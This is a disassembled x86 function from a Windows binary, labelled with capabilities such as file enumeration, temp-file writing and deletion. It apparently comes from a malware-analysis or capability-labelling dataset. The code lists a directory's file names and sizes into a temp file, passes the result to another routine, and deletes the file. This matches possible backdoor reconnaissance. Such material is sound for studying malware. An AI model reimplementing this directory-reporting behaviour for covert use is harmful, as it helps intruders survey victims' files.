Function at 0x4025ba
Capabilities:
Delete file
Enumerate files on windows
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xeec8
call fcn.00403290
push ebx
push esi
push edi
mov esi, 0x4050e0
lea edi, [ebp - 4]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor esi, esi
push esi
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
pop ecx
pop ecx
call dword [sym.imp.MSVCRT.dll_rand]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x468]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x468]
push dword [ebp - 8]
push 0x405158
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push esi
push 0x20
push 2
mov dword [ebp - 8], eax
push esi
push esi
lea eax, [ebp - 0x228]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x14], eax
je 0x402803
mov eax, dword [0x405010]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add eax, 8
push eax
lea eax, [ebp - 0x124]
push eax
call ebx
lea eax, [ebp - 0x124]
push 0x4050dc
push eax
call fcn.00401e12
pop ecx
lea eax, [ebp - 0x368]
pop ecx
push eax
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
je 0x402803
and byte [ebp - 0xeec8], 0
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edi, 0x405154
lea eax, [ebp - 0x33c]
push eax
lea eax, [ebp - 0x124]
push eax
call fcn.00401e12
lea eax, [ebp - 0x124]
push eax
call fcn.00401e37
add esp, 0xc
lea ecx, [ebp - 3]
mov dword [ebp - 0xc], eax
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x402745
lea eax, [ebp - 4]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x402745
lea eax, [ebp - 0xeec8]
push edi
push eax
call esi
push dword [ebp - 0xc]
lea eax, [ebp - 0xeec8]
push eax
call esi
test byte [ebp - 0x368], 0x10
jne 0x402745
lea eax, [ebp - 0xeec8]
push 0x405150
push eax
call esi
lea eax, [ebp - 0x20]
push 0xa
push eax
push dword [ebp - 0x348]
call dword [sym.imp.MSVCRT.dll__itoa]
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0xeec8]
push eax
call esi
lea eax, [ebp - 0xeec8]
push str.__C
push eax
call esi
lea eax, [ebp - 0x368]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4026a3
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0xeec8]
push edi
push eax
call esi
lea eax, [ebp - 0xeec8]
push 0
push eax
call esi
lea eax, [ebp - 8]
push 0
push eax
lea eax, [ebp - 0xeec8]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0xeec8]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x228]
push eax
mov eax, dword [0x405010]
add eax, 8
push eax
call ebx
lea eax, [ebp - 0xeec8]
push eax
call sub.MSVCRT.dll_strlen
mov ecx, dword [0x405010]
mov dword [esp], 0x400
mov dword [ecx + 4], eax
mov eax, dword [0x405010]
mov dword [eax], 0x42732304
call fcn.00401803
cmp eax, 0xffffffff
pop ecx
jne 0x4027f1
push 1
pop eax
jmp 0x402805
call fcn.00402a0b
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret